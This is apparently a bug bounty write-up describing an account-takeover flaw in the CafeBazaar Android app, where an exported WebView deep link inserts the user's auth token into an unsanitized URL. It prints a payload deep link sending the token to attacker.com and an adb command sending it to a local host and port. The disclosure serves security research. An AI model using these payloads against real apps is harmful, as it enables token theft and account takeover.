Impact of an Insecure Deep Link

In this post, I’m gonna write about a vulnerability we’ve (me + binb4sh) found in the CafeBazaar bug bounty program. CafeBazaar is one of the biggest holdings in Iran, I’ve previously written about another case in the other CafeBazaar’s platform which led to plain text password dump by SSRF.

As a normal routine, hunting started by decompiling the Android application and static analysis. I’m not going to cover the methodology in this paper, just showing the path we’ve taken to reach the hole. Before continuing, feel free to download the vulnerable Android application from Github:

https://github.com/Voorivex/files
MD5 (bazaar.apk) = 288a84b5dc98880c3652e263c9f867de

The Vulnerability and Attack Scenario

The attacking scenarios are:

• Remote – Attacker sets up a malicious web page containing a hidden iframe, once the victim visits the page, their account will be taken over. 
• Local – Attacker tricks the victim to install an Android application on their phone, calling a deep link on behalf of the victim and their account will be taken over

Furthermore, since an attacker could take full control of the WebView, archiving RCE was theoretically possible. More reads:

https://labs.mwrinfosecurity.com/blog/webview-addjavascriptinterface-remote-code-execution
https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html

Vulnerability Discovery

We took advantage of both static and dynamic analysis during the hunting, For static analysis, we used the Drozer application. More reads:

https://resources.infosecinstitute.com/android-hacking-security-part-13-introduction-drozer
https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer
https://infosecwriteups.com/digging-android-applications-part-1-drozer-burp

In the beginning, we took a look at activities simply:

run app.activity.info -a com.farsitel.bazaar

As it’s seen, there are several activities within null permission that can be called by other applications in the Android operating system. The null permission may cause vulnerability if security measures are not applied. The next command:

run app.package.info -a com.farsitel.bazaar -i

The result:

As shown in the image,
ir.cafebazaar.ui.home.HomeActivityy
has several deep links. One of them was interesting:

When it comes to WebView, the user input should be controlled securely, otherwise, there might be vulnerabilities to different attacking scenarios. We went looking for parts that were using the WebView, so we leveraged Frida and dynamic analysis. More reads:

https://medium.com/bugbountywriteup/android-hook-asis-ctf-final-2018-gunshops-question
https://medium.com/@GowthamR1/android-ssl-pinning-bypass-using-objection-and-frida
https://medium.com/@iPinnn/frida-tutorial-hook-pada-aplikasi-android

We are not proficient in hooking techniques, so we used a simple method, we hooked java.lang.StringBuffer and java.lang.StringBuilder to search for a specific string which was webview in our case. The hook script:

After we’d done hooking, we started browsing all application sections. The result:

The sys-catching thing in the output was a token like value, as it’s shown above, the parameter name was key. So we performed a Man in the Middle attack to capture the traffic.

The response:

It was a sensitive endpoint that was converting the authentication token to an authentication cookie. I usually teach web application security, I’ve always told my student to pay attention to the convertor endpoint, like this one. The URL was:

https://cafebazaar.ir/login/bysession?key=Token&next=/account/cli-transactions?l=en

So we started searching for bysession string in our hook to trace:

The hook’s result:

Analysis of the hook:

According to the image above, the numbers 1 and 2 phases, ir.cafebazaar.ui.pardakht.g$a.getItem the function was encoding the base URL:

https://cafebazaar.ir/login/bysession?key=%s&next=/account/cli-transactions?l=en

The adding some parameters:

title = Transactions
is_internal = true
login = true

Finally sending to HomeActivity by the deep link. In phase 3, the deep link’s data was passed to ir.cafebazaar.ui.common.d.onCreateView function, then an authentication token was inserted into the URL. The parameters were processed in this phase. In phase 4, the ir.cafebazaar.ui.common.d$1.onPageStarted was called then the URL was opened by the WebView. Generally, the following functions were responsible for creating, sending, receiving, and parsing the deep link’s data:

ir.cafebazaar.ui.pardakht.g$a.getItem(PurchasesFragment.java)
ir.cafebazaar.ui.common.d.onCreateView(WebFragment.java)
ir.cafebazaar.ui.common.d$1.onPageStarted(WebFragment.java)

So we went analyzing the functions carefully:

The first function ir.cafebazaar.ui.pardakht.g$a.getItem :

The important part of the function was creating the deep link:

The parameters of bazaar://webview

• First parameter used for the page’s title
• The second parameter was the URL opened by WebView. It had a format specifier %s which replaced with the authentication token before opening the URL
• Two boolean parameters is_internal and login

After the deep link had been created, the second function named ir.cafebazaar.ui.common.d.onCreateView was receiving and parsing the deep link’s data. 

Here a significant note was that the null permission. So the deep link was callable by the other processes and Android applications in the user’s mobile phone. Verifying the flaw:

Result:

After all tests and analysis, we reached the vulnerable point:

What does this function do? Let me clarify by adding some comments:

According to the function, if the login parameter is set as true in the deep link URL, the token will replace with %s . It occurs if the user has already logged in. Otherwise, the %s will remove. Finally, the URL will open by WebView, the vulnerability arias here.

The Exploitation

Based on the analysis:

• There is no access control on WebView intent as other processes can call it directly
• The URL in the intent, is not sanitized

Consequently, if an attacker can trick a user to call the following intent, their token will disclose to the attacker:

bazaar://webview?title=&url=URLEncode(http://attacker.com/%s)&login=true

Verifying the vulnerability by Drozer:

adb shell “””am start -a android.intent.action.VIEW -d ‘bazaar://webview?title=Attacked&url=http%3A%2F%2F192.168.115.2%3A1337%2F%3FTokenIs%3D%25s&login=true’ com.farsitel.bazaar”””

Result:

We wrote an exploit code to steal the user’s token, the exploit works over the web. The attack scenario is simple, tricking a user to open our link and it’s done.

I hope you find this post useful.
Thanks for reading!